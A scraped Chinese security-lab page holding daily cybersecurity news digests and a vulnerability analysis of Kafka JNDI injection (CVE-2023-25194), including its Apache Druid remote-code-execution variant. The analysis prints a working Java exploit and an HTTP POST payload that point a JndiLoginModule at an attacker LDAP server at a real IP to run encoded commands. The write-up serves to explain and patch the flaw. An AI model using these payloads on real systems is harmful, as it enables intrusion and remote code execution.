网络安全日报 2023年11月14日
1、研究人员发现新型安卓恶意软件Kamran https://www.welivesecurity.com/en/eset-research/unlucky-kamran-android-malware-spying-urdu-speaking-residents-gilgit-baltistan/ 研究人员发现针对吉尔吉特-巴尔蒂斯坦地区的乌尔都语用户的攻击活动,攻击者在此次攻击活动中传播一种新型安卓恶意软件Kamran。该恶意软件在安装时请求多种权限,以允许其从设备中收集敏感信息,其中包括联系人、通话记录、日历事件、位置信息、文件、短信消息、照片、已安装应用程序列表和设备元数据。收集的数据将被上传到托管在Firebase上的命令和控 2、攻击者利用文件共享服务DRACOON窃取用户凭证 https://www.trendmicro.com/en_us/research/23/k/threat-actors-leverage-file-sharing-service-and-reverse-proxies.html 研究人员最近发现了一起网络钓鱼活动,攻击者项用户发送钓鱼邮件,其中包含指向DRACOON.team的链接,该网站提供文件共享服务。当受害者被诱导点击邮件中的链接时,他们将看到托管在DRACOON上的PDF文档。该文档中包含一个链接,会将受害者重定向至攻击者所控制的服务器,该服务器冒充Microsoft 365登录门户并充当反向代理,以窃取受害者的登录信息和会话co 3、LockBit勒索团伙泄露波音公司数据 https://www.bleepingcomputer.com/news/security/lockbit-ransomware-leaks-gigabytes-of-boeing-data/ LockBit勒索团伙称波音公司无视了其将要泄露数据的警告,并威胁要发布大约4GB数据样本。在波音公司拒绝支付赎金后,LockBit勒索团伙泄露了43GB以上的波音公司文件。2023年11月10日,LockBit在他们的网站上发布了从波音公司窃取的所有数据,其中包括IT管理软件的配置备份,以及监视和审计工具的日志。此外,LockBit还列出了Citrix设备的备份,这表示该团伙可能利用了最近披露的C 4、VLC多媒体播放器存在安全漏洞 https://cybersecuritynews.com/vlc-player-memory-corruption-flaw/ VLC多媒体播放器中存在两个与内存损坏相关的安全漏洞。这些漏洞是在Microsoft Media Server(MMS)协议中发现的,该协议在VLC中有两种实现:MMS over TCP(MMST)和MMS over HTTP(MMSH),负责接收数据包的GetPacket函数被发现包含两个漏洞——堆溢出和整数下溢。目前这两个安全漏洞的CVE标识仍在等待分配,建议VLC用户升级到3.0.20版本,以修复这些漏洞并防止被攻击者利用。 5、研究人员发现APT组织Imperial Kitten的新一轮攻击活动 https://www.crowdstrike.com/blog/imperial-kitten-deploys-novel-malware-families/ 安全研究人员发现APT组织Imperial Kitte对运输、物流和技术公司发起的新一轮攻击活动。该组织被认为与伊朗伊斯兰革命卫队(IRGC)相关,至少自2017年以来一直活跃,对包括国防、技术、电信、海事、能源、咨询和专业服务在内的各个行业组织进行网络攻击。研究人员表示,该组织在十月份发动了网络钓鱼攻击,使用“职位招聘”为主题的钓鱼邮件,其中附有恶意Microsoft Excel附件。文档中的恶意宏代码将会提取两个批处理文件,通过 6、美国专家督促打击 Deepfake 技术威胁 https://www.inforisktoday.com/experts-urge-congress-to-combat-deepfake-technology-threats-a-23565 法律专家和技术专家敦促美国国会对深度造假技术的使用设置限制,并为妇女和少数族裔社区提供新的保护,防止使用数字操纵媒体,并警告说,欺骗性内容已经影响了国家安全、个人隐私和公众信任。 7、伊朗黑客对以色列科技界发动恶意软件攻击 https://www.freebuf.com/news/383615.html Bleeping Computer 网站披露,安全研究人员追踪到 Imperial Kitten 黑客组织针对以色列运输、物流和技术公司发起新一轮网络攻击活动。据悉,Imperial Kitten 又名 Tortoiseshell、TA456、Crimson Sandstorm 和 Yellow Liderc,疑似与伊朗武装部队分支伊斯兰革命卫队(IRGC)关联密切,至少自 2017 年以来持续活跃,多次对国防、技术、电信、海事、能源以及咨询和专业服务等多个领域的实体组织,发动网络攻击。 8、网络攻击迫使澳大利亚港务巨头运营停摆 https://www.secrss.com/articles/60681 据澳大利亚广播公司当地时间11日报道,由于发生网络安全事件,澳大利亚第二大港口运营商“澳大利亚环球港务集团”运营已经停摆。从10日开始,集团在墨尔本、悉尼、布里斯班等主要城市的港口货物运输受到严重影响。12日,集团表示,正在测试货运系统运行,港口何时恢复正常作业还不清楚。 9、《电信网络诈骗及其关联违法犯罪联合惩戒办法》公开征求意见 https://www.secrss.com/articles/60662 为保障《中华人民共和国反电信网络诈骗法》的贯彻实施,进一步建立健全联合惩戒制度,经充分调研论证,公安部会同有关主管部门起草了《电信网络诈骗及其关联违法犯罪联合惩戒办法(征求意见稿)》,现向社会公开征求意见。公众可以通过公安部网站(www.mps.gov.cn)查阅公开征求意见稿,请在2023年12月12日前将有关意见建议通过电子邮件发送至gjfzzx@163.com。 10、Poloniex 加密货币平台被盗超过 1 亿美元 https://therecord.media/poloniex-cryptocurrency-platform-millions-stolen 该平台确认了这起盗窃事件,并计划赔偿受影响的用户。Poloniex 向黑客提供 5% 的赏金,要求其返还资金,并敦促其在 7 天内做出回应。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年11月13日
1、攻击者利用SysAid中的漏洞部署Clop勒索软件 https://www.bleepingcomputer.com/news/security/microsoft-sysaid-zero-day-flaw-exploited-in-clop-ransomware-attacks/ SysAid是一款IT服务管理(ITSM)解决方案,为组织内管理各种IT服务提供了一套工具。研究人员发现,攻击者正在利用服务管理软件SysAid中的零日漏洞来访问企业服务器,进行数据窃取并部署Clop勒索软件。该漏洞于11月2日被发现,被标记为CVE-2023-47246,黑客利用该漏洞入侵SysAid服务器。研究人员确定该漏洞正在被Lace Tempest(又称 2、攻击者创建CPU-Z仿冒网站传播RedLine窃密木马 https://www.malwarebytes.com/blog/threat-intelligence/2023/11/malvertiser-copies-pc-news-site-to-deliver-infostealer 研究人员发现攻击者仿冒WindowsReport网站传播虚假的CPU-Z应用程序,并最终投递RedLine窃密木马。用户在该仿冒网站中点击下载后,将会下载到一个MSI安装文件,其中包含被称为FakeBat的恶意PowerShell脚本,该脚本会从指定URL处获取Redline窃密木马载荷并在受害者计算机中执行。 3、京瓷子公司KAVX遭受勒索软件攻击并泄露数据 https://www.bleepingcomputer.com/news/security/kyocera-avx-says-ransomware-attack-impacted-39-000-individuals/ 京瓷子公司KAVX表示,其遭受的勒索软件攻击影响了39111名个体的个人信息,该公司正在向受影响者发送数据泄露通知。KAVX表示,他们于2023年10月10日发现黑客在2023年2月16日至3月30日期间访问了其系统,受影响服务器上的数据包括全球范围内的个人信息。KAVX表示没有证据表明网络罪犯滥用了窃取的数据,但提醒收信人有关身份盗窃和欺诈的相关风险,并敦促他们保持警惕。 4、研究人员称Hive勒索团伙可能变更为Hunters International https://www.hackread.com/hive-ransomware-hunters-international-bitdefender 研究人员称,Hive勒索团伙可能变更为Hunters International,以新的身份重新出现。研究人员表示,Hive团伙此前停止了攻击活动,并将其剩余资产转移到了Hunters International,并在这两组使用的代码之间发现了60%的匹配度。然而,Hunters International声称他们是在购买和更改Hive基础设施、源代码之后形成的独立团伙。Hunters International表示,Hive的所有源代码都已出 5、研究人员发现新型恶意软件Effluence https://www.aon.com/cyber-solutions/aon_cyber_labs/detecting-effluence-an-unauthenticated-confluence-web-shell/ 研究人与近期发现了一种新型恶意软件,并将其命名为“Effluence”,该恶意软件利用了最近的Atlassian Confluence漏洞。该恶意软件会在受感染的主机中充当持久性后门,该后门提供了横向移动到其他网络资源以及从Confluence中窃取数据的功能。更重要的是,攻击者可以在未经身份验证的情况下远程访问后门,而无需对Confluence进行身份验证。 6、马来西亚警方查封BulletProftLink网络钓鱼服务平台 https://www.bleepingcomputer.com/news/security/police-takes-down-bulletproftlink-large-scale-phishing-provider/ 马来西亚皇家警察宣布,已经查封了BulletProftLink网络钓鱼服务(PhaaS)平台,该平台提供了300多个网络钓鱼模板。网络钓鱼服务平台通过“即插即用”的工具和模板、页面托管、定制选项、凭证收集和反向代理工具为网络犯罪分子提供工具和资源,以进行网络钓鱼攻击。截至2023年4月,BulletProftLink有8138名活跃用户,并提供了327个网络钓鱼页面模板。 7、Anonymous Sudan组织对Cloudflare网站进行DDoS攻击 https://securityaffairs.com/154002/hacktivism/anonymous-sudan-ddos-on-cloudflare.html Cloudflare证实一次DDoS攻击导致其网站短暂宕机,并指出这并没有影响该公司的其他产品或服务。Anonymous Sudan组织声称对造成Cloudflare网站宕机的大规模分布式拒绝服务(DDoS)攻击负责。该组织在其Telegram频道中表示攻击持续了1小时。该组织声称最近的DDoS攻击是使用Skynet和Godzilla僵尸网络进行的。Skynet首次于2012年被发现,据估计,Skynet已经感染了全球超过 8、LockBit确认对工商银行美国子公司勒索攻击事件负责 https://www.freebuf.com/news/383568.html 2023年11月10日,中国工商银行(ICBC)的美国全资子公司工银金融服务有限责任公司(ICBCFS)在官网发布申明称11月8日遭受了勒索软件攻击,导致部分系统中断。据安全研究平台VXunderground本周五透露,LockBit组织代表在Tox上公开确认对攻击负责,但否认自己是俄罗斯黑客组织。 9、阿里云遭突发全球性严重故障,历经 2.5 小时恢复 https://www.infoq.cn/article/K5JfjZy6Qmc70YFPluVi 11 月 12 日下午,陆续有网友表示阿里旗下多款产品出现访问故障,随后【阿里云全线产品崩了】登上微博实时热搜。据阿里云健康状态页(https://status.aliyun.com/#/)公告信息,本次故障为阿里云云产品控制台服务异常,开始于 2023-11-12 17:44。阿里云全线产品均受影响。 10、在线搬运平台Dolly.com支付赎金后信息仍被泄露 https://securityaffairs.com/153975/cyber-crime/dolly-com-pays-ransom.html 攻击者在黑客论坛中发布了有关Dolly.com的详细信息,该公司可能在8月底或9月初的某个时间遭受了攻击。攻击者与受害者之间的一封电子邮件日期为9月7日,其中显示Dolly.com同意支付赎金。攻击者获取了敏感的公司和客户数据,如高级账户登录详细信息、信用卡信息、客户地址、姓名、注册日期、用户电子邮件、系统数据等,攻击者表示他们可以访问完整的信用卡数据。攻击者称,Dolly.com确实支付了赎金,但数额不足以满足他们的要求,但攻击者仍接收了赎金并 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Kafka JNDI 注入分析(CVE-2023-25194)
Apache Kafka Clients Jndi Injection 漏洞描述 Apache Kafka 是一个分布式数据流处理平台,可以实时发布、订阅、存储和处理数据流。Kafka Connect 是一种用于在 kafka 和其他系统之间可扩展、可靠的流式传输数据的工具。攻击者可以利用基于 SASL JAAS 配置和 SASL 协议的任意 Kafka 客户端,对 Kafka Connect worker 创建或修改连接器时,通过构造特殊的配置,进行 JNDI 注入来实现远程代码执行。 影响范围 2.4.0 <= Apache Kafka <= 3.3.2 前置知识 Kafka 是什么 Kafka 是一个开源的分布式消息系统,Kafka 可以处理大量的消息和数据流,具有高吞吐量、低延迟、可扩展性等特点。它被广泛应用于大数据领域,如日志收集、数据传输、流处理等场景。 感觉上和 RocketMQ 很类似,主要功能都是用来进行数据传输的。 Kafka 客户端 SASL JAAS 配置 简单认证与安全层 (SASL, Simple Authentication and Security Layer ) 是一个在网络协议中用来认证和数据加密的构架,在 Kafka 的实际应用当中表现为 JAAS。 Java 认证和授权服务(Java Authentication and Authorization Service,简称 JAAS)是一个 Java 以用户为中心的安全框架,作为 Java 以代码为中心的安全的补充。总结一下就是用于认证。有趣的是 Shiro (JSecurity) 最初被开发出来的原因就是由于当时 JAAS 存在着许多缺点 参考自 https://blog.csdn.net/yinxuep/article/details/103242969 还有一些细微的配置这里不再展开。动态设置和静态修改 .conf 文件实际上效果是一致的。 服务端配置 1、通常在服务器节点下配置服务器 JASS 文件,例如这里我们将其命名为 kafka_server_jaas.conf,内容如下 KafkaServer {   org.apache.kafka.common.security.plain.PlainLoginModule required   username="eystar"   password="eystar8888"   user_eystar="eystar8888"   user_yxp="yxp-secret"; }; 说明: username +password 表示 kafka 集群环境各个代理之间进行通信时使用的身份验证信息。 user_eystar="eystar8888" 表示定义客户端连接到代理的用户信息,即创建一个用户名为 eystar,密码为 eystar8888 的用户身份信息,kafka 代理对其进行身份验证,可以创建多个用户,格式 user_XXX=”XXX” 2、如果处于静态使用中,需要将其加入到 JVM 启动参数中,如下 if [ "x$KAFKA_OPTS" ]; then    export KAFKA_OPTS="-Djava.security.auth.login.config=/opt/modules/kafka_2.11-2.0.0/config/kafka_server_jaas.conf" fi https://kafka.apache.org/documentation/#brokerconfigs_sasl.jaas.config客户端配置 基本同服务端一致,如下步骤 1、配置客户端 JAAS 文件,命名为 kafka_client_jaas.conf KafkaClient {       org.apache.kafka.common.security.plain.PlainLoginModule required       username="eystar"       password="eystar8888"; }; 2、JAVA 调用的 Kafka Client 客户端连接时指定配置属性 sasl.jaas.config sasl.jaas.config=org.apache.kafka.common.security.plain.PlainLoginModule required \    username="eystar" \ password="eystar8888"; // 即配置属性:(后续会讲到也能够动态配置,让我想起了 RocketMQ) Pro.set(“sasl.jaas.config”,”org.apache.kafka.common.security.plain.PlainLoginModule required username=\"eystar\" password=\"eystar8888\";"; ”); Kafka 客户端动态修改 JAAS 配置 方式一:配置 Properties 属性,可以注意到这一个字段的键名为 sasl.jaas.config,它的格式如下 loginModuleClass controlFlag (optionName=optionValue)*; 其中的 loginModuleClass 代表认证方式, 例如 LDAP, Kerberos, Unix 认证,可以参考官方文档 https://docs.oracle.com/javase/8/docs/technotes/guides/security/jgss/tutorials/LoginConfigFile.html 其中有一处为 JndiLoginModule,JDK 自带的 loginModule 位于 com.sun.security.auth.module //安全模式 用户名 密码 props.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";"); props.setProperty("security.protocol", "SASL_PLAINTEXT"); props.setProperty("sasl.mechanism", "PLAIN"); 方式二:设置系统属性参数 // 指定kafka_client_jaas.conf文件路径 String confPath = TestKafkaComsumer.class.getResource("/").getPath()+ "/kafka_client_jaas.conf"; System.setProperty("java.security.auth.login.config", confPath); 实现代码 消费者 public class TestComsumer {   public static void main(String[] args) {        Properties props = new Properties();        props.put("bootstrap.servers", "192.168.1.176:9092");        props.put("group.id", "test_group");        props.put("enable.auto.commit", "true");        props.put("auto.commit.interval.ms", "1000");        props.put("key.deserializer",                "org.apache.kafka.common.serialization.StringDeserializer");        props.put("value.deserializer",                "org.apache.kafka.common.serialization.StringDeserializer");        // sasl.jaas.config的配置        props.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";");        props.setProperty("security.protocol", "SASL_PLAINTEXT");        props.setProperty("sasl.mechanism", "PLAIN");        KafkaConsumer<String, String> consumer = new KafkaConsumer<>(props);        consumer.subscribe(Arrays.asList("topic_name"));        while (true) {           try {                ConsumerRecords<String, String> records = consumer.poll(Duration                       .ofMillis(100));                for (ConsumerRecord<String, String> record : records)                    System.out.printf("offset = %d, partition = %d, key = %s, value = %s%n",                            record.offset(), record.partition(), record.key(), record.value());                     } catch (Exception e) {                e.printStackTrace();           }       }       } } 生产者 public class TestProduce {    public static void main(String args[]) {        Properties props = new Properties();        props.put("bootstrap.servers", "192.168.1.176:9092");        props.put("acks", "1");        props.put("retries", 3);        props.put("batch.size", 16384);        props.put("buffer.memory", 33554432);        props.put("linger.ms", 10);        props.put("key.serializer",                "org.apache.kafka.common.serialization.StringSerializer");        props.put("value.serializer",                "org.apache.kafka.common.serialization.StringSerializer");        //sasl        props.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";");        props.setProperty("security.protocol", "SASL_PLAINTEXT");        props.setProperty("sasl.mechanism", "PLAIN");        Producer<String, String> producer = new KafkaProducer<>(props);               /**        * ProducerRecord 参数解析 第一个:topic_name为生产者 topic名称,        * 第二个:对于生产者kafka2.0需要你指定一个key        * ,在企业应用中,我们一般会把他当做businessId来用,比如订单ID,用户ID等等。 第三个:消息的主要信息        */        try {              producer.send(new ProducerRecord<String, String>("topic_name", Integer.toString(i), "message info"));       } catch (InterruptedException e) {               e.printStackTrace();       }   } } 漏洞复现 漏洞触发点其实是在 com.sun.security.auth.module.JndiLoginModule#attemptAuthentication 方法处 理顺逻辑很容易构造出 EXP import org.apache.kafka.clients.consumer.KafkaConsumer; import org.apache.kafka.clients.producer.KafkaProducer; import java.util.Properties; public class EXP {   public static void main(String[] args) throws Exception {       Properties properties = new Properties();       properties.put("bootstrap.servers", "127.0.0.1:1234");       properties.put("key.deserializer", "org.apache.kafka.common.serialization.StringDeserializer");       properties.put("value.deserializer","org.apache.kafka.common.serialization.StringDeserializer");       properties.put("sasl.mechanism", "PLAIN");       properties.put("security.protocol", "SASL_SSL");       properties.put("sasl.jaas.config", "com.sun.security.auth.module.JndiLoginModule " +               "required " +               "user.provider.url=\"ldap://124.222.21.138:1389/Basic/Command/Base64/Q2FsYw==\" " +               "useFirstPass=\"true\" " +               "group.provider.url=\"xxx\";");       KafkaConsumer<String, String> kafkaConsumer = new KafkaConsumer<>(properties);       kafkaConsumer.close();   } } 漏洞分析 前面有非常多的数据处理与赋值,这里就跳过了,直接看 org.apache.kafka.clients.consumer.KafkaConsumer 类的第 177 行 ClientUtils.createChannelBuilder(),跟进。 继续跟进,这里会先判断 SASL 模式是否开启,只有开启了才会往下跟进到 create() 方法 跟进 create() 方法,做完客户端的判断和安全协议的判断之后,调用了 loadClientContext() 方法,跟进,发现其中还是加载了一些配置。 跳出来,跟进 ((ChannelBuilder)channelBuilder).configure(configs) 方法,最后跟到 org.apache.kafka.common.security.authenticator.LoginManager 的构造函数。 跟进 login() 方法,此处 new LoginContext(),随后调用 login() 方法,跟进 这里会调用 JndiLoginModule 的 initialize() 方法 初始化完成之后,此处调用 JndiLoginModule 的 login() 方法,最后到 JndiLoginModule 的 attemptAuthentication() 方法,完成 Jndi 注入。 漏洞修复 在 3.4.0 版本中, 官方的修复方式是增加了对 JndiLoginModule 的黑名单 org.apache.kafka.common.security.JaasContext#throwIfLoginModuleIsNotAllowed private static void throwIfLoginModuleIsNotAllowed(AppConfigurationEntry appConfigurationEntry) {    Set<String> disallowedLoginModuleList = (Set)Arrays.stream(System.getProperty("org.apache.kafka.disallowed.login.modules", "com.sun.security.auth.module.JndiLoginModule").split(",")).map(String::trim).collect(Collectors.toSet());    String loginModuleName = appConfigurationEntry.getLoginModuleName().trim();    if (disallowedLoginModuleList.contains(loginModuleName)) {        throw new IllegalArgumentException(loginModuleName + " is not allowed. Update System property '" + "org.apache.kafka.disallowed.login.modules" + "' to allow " + loginModuleName);   } } Apache Druid RCE via Kafka Clients 影响版本:Apache Druid <= 25.0.0 Apache Druid 是一个实时分析型数据库, 它支持从 Kafka 中导入数据 (Consumer) , 因为目前最新版本的 Apache Druid 25.0.0 所用 kafka-clients 依赖的版本仍然是 3.3.1, 即存在漏洞的版本, 所以如果目标 Druid 存在未授权访问 (默认配置无身份认证), 则可以通过这种方式实现 RCE 有意思的是, Druid 包含了 commons-beanutils:1.9.4 依赖, 所以即使在高版本 JDK 的情况下也能通过 LDAP JNDI 打反序列化 payload 实现 RCE 漏洞 UI 处触发点:Druid Web Console - Load data - Apache Kafka 在这里可以加载 Kafka 的 Data,其中可以修改配置项 sasl.jaas.config,由此构造 Payload POST http://124.222.21.138:8888/druid/indexer/v1/sampler?for=connect HTTP/1.1 Host: 124.222.21.138:8888 Content-Length: 916 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.43 Content-Type: application/json Origin: http://124.222.21.138:8888 Referer: http://124.222.21.138:8888/unified-console.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,ja;q=0.5,zh-TW;q=0.4,no;q=0.3,ko;q=0.2 Connection: close {"type":"kafka","spec":{"type":"kafka","ioConfig":{"type":"kafka","consumerProperties":{"bootstrap.servers":"127.0.0.1:1234", "sasl.mechanism":"SCRAM-SHA-256",               "security.protocol":"SASL_SSL",               "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://124.222.21.138:1389/Basic/Command/base64/aWQgPiAvdG1wL3N1Y2Nlc3M=\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";" },"topic":"123","useEarliestOffset":true,"inputFormat":{"type":"regex","pattern":"([\\s\\S]*)","listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dim 在 druid-kafka-indexing-service 这个 extension 中可以看到实例化 KafkaConsumer 的过程 而上面第 286 行的 addConsumerPropertiesFromConfig() 正是进行了动态修改配置 Apache Druid 26.0.0 更新了 kafka 依赖的版本 https://github.com/apache/druid/blob/26.0.0/pom.xml#L79
网络安全日报 2023年11月10日
1、黑客声称窃取3500万LinkedIn用户数据 https://www.hackread.com/hacker-leaks-scraped-linkedin-user-records 一个用户名称为USDoD的黑客,在黑客论坛中声称窃取了一个拥有3500多万用户个人信息的LinkedIn数据库。该数据库中主要包括LinkedIn个人资料中的公开信息,包括全名和个人资料简介。尽管该数据库包含数百万个电子邮件地址,但泄露的数据中没有密码。研究人员对该数据库中的500多万个账户进行分析,得出的结论是数据库中含有各种来源的信息,如LinkedIn的公开个人资料、伪造的电子邮件地址等。该研究人员强调,其中含有大量伪造的电子邮件地址,但人员、公司、域 2、俄罗斯联邦储蓄银行遭受DDoS攻击 https://www.bleepingcomputer.com/news/security/russian-state-owned-sberbank-hit-by-1-million-rps-ddos-attack/ 俄罗斯联邦储蓄银行在一份新闻稿中表示,两周前,它遭受了分布式拒绝服务(DDoS)攻击。俄罗斯国际文传电讯社报道称,此次攻击达到每秒100万次请求(RPS),该组织表示,这大约是俄罗斯联邦储蓄银行之前遭受过最大DDoS攻击的四倍。俄罗斯联邦储蓄银行负责人表示,此次攻击是由一些新的攻击组织发起的,目前还不知道关于他们的特征。 3、OpenAI证实遭受DDoS攻击,API和ChatGPT服务遭中断 https://www.bleepingcomputer.com/news/security/openai-confirms-ddos-attacks-behind-ongoing-chatgpt-outages/ 在过去24小时内,OpenAI一直在解决因针对其API和ChatGPT服务的DDoS攻击而导致的“周期性停机”问题。OpenAI在发布的一份事件报告中表示,他们正在处理由于DDoS攻击导致的周期性停机。虽然OpenAI尚未声明发起此次攻击的攻击者,但Anonymous Sudan组织声称其是幕后黑手。该组织还证实在这些攻击中使用了SkyNet僵尸网络,该僵尸网络于上周增加了对应用 4、日本航空电子公司证实遭受网络攻击 https://therecord.media/japan-aviation-electronics-says-servers-accessed-during-cyberattack 日本航空电子证实,其系统遭受网络攻击,并迫使该公司关闭网站。该公司在其网页替换为一条静态消息,表明其部分服务器被攻击。BlackCat/AlphV勒索团伙将该公司添加至受害者名单中,但该公司尚未声明是否遭受勒索软件攻击。 5、CISA 警报:高严重性 SLP 漏洞现已被积极利用 https://thehackernews.com/2023/11/cisa-alerts-high-severity-slp.html 美国网络安全机构 CISA 周三对利用服务定位协议 (SLP) 漏洞的威胁行为者发出警告,该漏洞允许高放大倍数的拒绝服务 (DoS) 攻击。 6、AI生成巴以冲突虚假图片,以假乱真被媒体引用 https://www.freebuf.com/news/383328.html 随着巴以冲突的持续,相关新闻事件报道层出不穷,一些虚假内容也开始混入其中,让人真假难辨。最近,由AI生成、反映巴以冲突现场的图片出现在知名图片库 Adobe Stock 中,并被一些新闻媒体采用。 7、IEEE成员提出减轻卫星系统风险的网络安全框架 https://www.secrss.com/articles/60439 国际专业技术机构电气电子工程师学会(IEEE)成员、The Privacy Professor 咨询公司创始人兼首席执行官、信息安全专家丽贝卡·赫罗德近日撰文《用于减轻卫星系统风险的网络安全框架》,分析卫星系统所面临的网络安全威胁及影响,并提出减轻卫星系统风险的网络安全框架。 8、PyPI 中的新 BlazeStealer 恶意软件针对开发人员 https://cyware.com/news/new-blazestealer-malware-in-pypi-targets-developers-666fe1bd Python 包索引 (PyPI) 存储库中发现了一组新的恶意 Python 包。据 Checkmarx 报道,这些软件包伪装成无害的混淆工具,但包含名为BlazeStealer的恶意软件。 9、Lace Tempest 利用 SysAid IT 支持软件零日漏洞 https://thehackernews.com/2023/11/zero-day-alert-lace-tempest-exploits.html 根据微软的最新调查结果,名为 Lace Tempest 的威胁参与者与利用 SysAid IT 支持软件中的零日漏洞进行的有限攻击有关。该问题编号为CVE-2023-47246,涉及路径遍历缺陷,该缺陷可能导致本地安装中的代码执行。SysAid 已在软件版本 23.3.36 中对其进行了修补。 10、SIM 卡盒诈骗导致漫游诈骗激增 700% https://www.infosecurity-magazine.com/news/sim-box-fraud-700-surg-roaming/ 根据 Juniper Research 的一项新研究,随着诈骗者希望利用不断增长的市场,未来五年全球漫游欺诈流量将增长惊人的 700%。其报告《2023-2028 年漫游欺诈市场》评估了全球漫游市场在数据、物联网、短信和语音方面的规模,并估计了运营商因欺诈造成的损失。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年11月09日
1、BlueNoroff组织使用新型macOS恶意软件ObjCShellz https://www.jamf.com/blog/bluenoroff-strikes-again-with-new-macos-malware/ BlueNorOff是一个以金融机构为目标的黑客组织,攻击加密货币交易所和全球范围内的风险投资公司、银行等金融机构。研究人员发现BlueNorOff组织针对苹果用户使用新的macOS恶意软件ObjCShellz,与BlueNorOff组织以往攻击中部署的其他恶意载荷不同,ObjCShellz还被设计用于在受感染的macOS系统上执行远程shell。 2、研究人员发现Jupyter Infostealer新变种 https://blogs.vmware.com/security/2023/11/jupyter-rising-an-update-on-jupyter-infostealer.html Jupyter Infostealer(又称Yellow Cockatoo、Solarmarker、Polazert)是一种恶意软件,最早在2020年底被发现。研究人员近期发现了新一轮的Jupyter Infostealer攻击活动,并从中发现Jupyter Infostealer新变种。在过去的两周里,研究人员观察到Jupyter Infostealer感染数量逐渐增多,发现了26个感染案例。 3、研究人员发现新型恶意软件GootBot https://securityintelligence.com/x-force/gootbot-gootloaders-new-approach-to-post-exploitation/ 研究人员发现了Gootloader的新变种——GootBot,它实现了隐蔽的横向移动,使Gootloader的攻击活动更加难以被检测。以前,攻击者通常将Gootloader作为初始阶段的恶意软件,然后利用Gootloader加载工具,如CobaltStrike,或使用RDP在内网在横向移动。现在攻击者将利用Gootloader下载GootBot载荷,GootBot是一个轻量级的混淆的PS脚本,能够以加密 4、新加坡滨海湾金沙酒店泄露66.5万客户的个人数据 https://www.bleepingcomputer.com/news/security/marina-bay-sands-discloses-data-breach-impacting-665-000-customers/ 新加坡滨海湾金沙(Marina Bay Sands,简称MBS)酒店披露一起数据泄露事件,此次事件涉及到其66.5万名顾客的个人数据。该酒店在声明中称,滨海湾金沙于2023年10月20日获悉一起数据安全事件,涉及到2023年10月19日和20日未经授权的第三方访问了部分客户的数据。在调查后确定,该攻击者访问了约66.5万名客户的数据。数据泄露中暴露的信息包括:姓名、 5、GitHub 通过 AI 增强安全能力 https://www.securityweek.com/github-enhances-security-capabilities-with-ai/ GitHub 添加了人工智能驱动的安全功能,帮助开发人员更快地识别和解决代码漏洞。微软旗下的代码托管平台 GitHub 今天宣布公开预览 GitHub Advanced Security 中的三项人工智能功能。高级安全性可供 GitHub Enterprise Cloud 和 Enterprise Server 客户使用,它提供了一系列功能来帮助维护和提高代码质量。其中一些功能(例如Dependabot)也可用于公共存储库。 6、Sumo Logic 披露安全漏洞并建议客户轮换凭证 https://securityaffairs.com/153882/security/sumo-logic-security-breach.html 安全公司 Sumo Logic 上周发现其 AWS 账户遭到泄露后,披露了一个安全漏洞。为了应对安全事件,该公司锁定了受影响的基础设施,并轮换了其基础设施的所有可能暴露的凭证。该网络安全公司建议客户轮换用于访问 Sumo Logic 或他们向公司提供的用于访问其他系统的凭据。 7、TRANSFORM 提供商遭受勒索软件攻击,加拿大五家医院受到影响 https://securityaffairs.com/153857/cyber-crime/canadian-hospitals-transform-ransomware-attack.html 加拿大五家医院成为勒索软件攻击的受害者,威胁者声称窃取并泄露了这些医院的数据。这些医院受到 10 月份当地服务提供商 TransForm Shared Service Organization 遭受勒索软件攻击的影响。TransForm 是一个非营利组织,为上述医院提供IT 服务。 8、研究人员在 Azure 自动化上发现了无法检测的恶意挖矿技术 https://thehackernews.com/2023/11/researchers-uncover-undetectable-crypto.html 网络安全研究人员利用 Microsoft Azure 自动化服务开发了第一个完全无法检测的基于云的加密货币挖矿程序。网络安全公司 SafeBreach 表示,它发现了三种不同的运行挖矿程序的方法,其中一种可以在受害者的环境中执行而不引起任何注意。 9、WhatsApp 推出新隐私功能以保护通话中的 IP 地址 https://thehackernews.com/2023/11/whatsapp-introduces-new-privacy-feature.html Meta 旗下的 WhatsApp 正式在其消息服务中推出一项名为“保护通话中的 IP 地址”的https://faq.whatsapp.com/2635108359972899/,该功能通过其服务器中继通话,向其他方隐藏用户的 IP 地址。 10、每条价格仅1美分,美国军人敏感信息正被低价售卖 https://www.freebuf.com/news/383183.html 杜克大学于11月6日发布的的一项新研究报告表明,网络攻击者可以轻松地从数据经纪人手中,以低廉的价格获取有关美国军人的敏感信息。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年11月08日
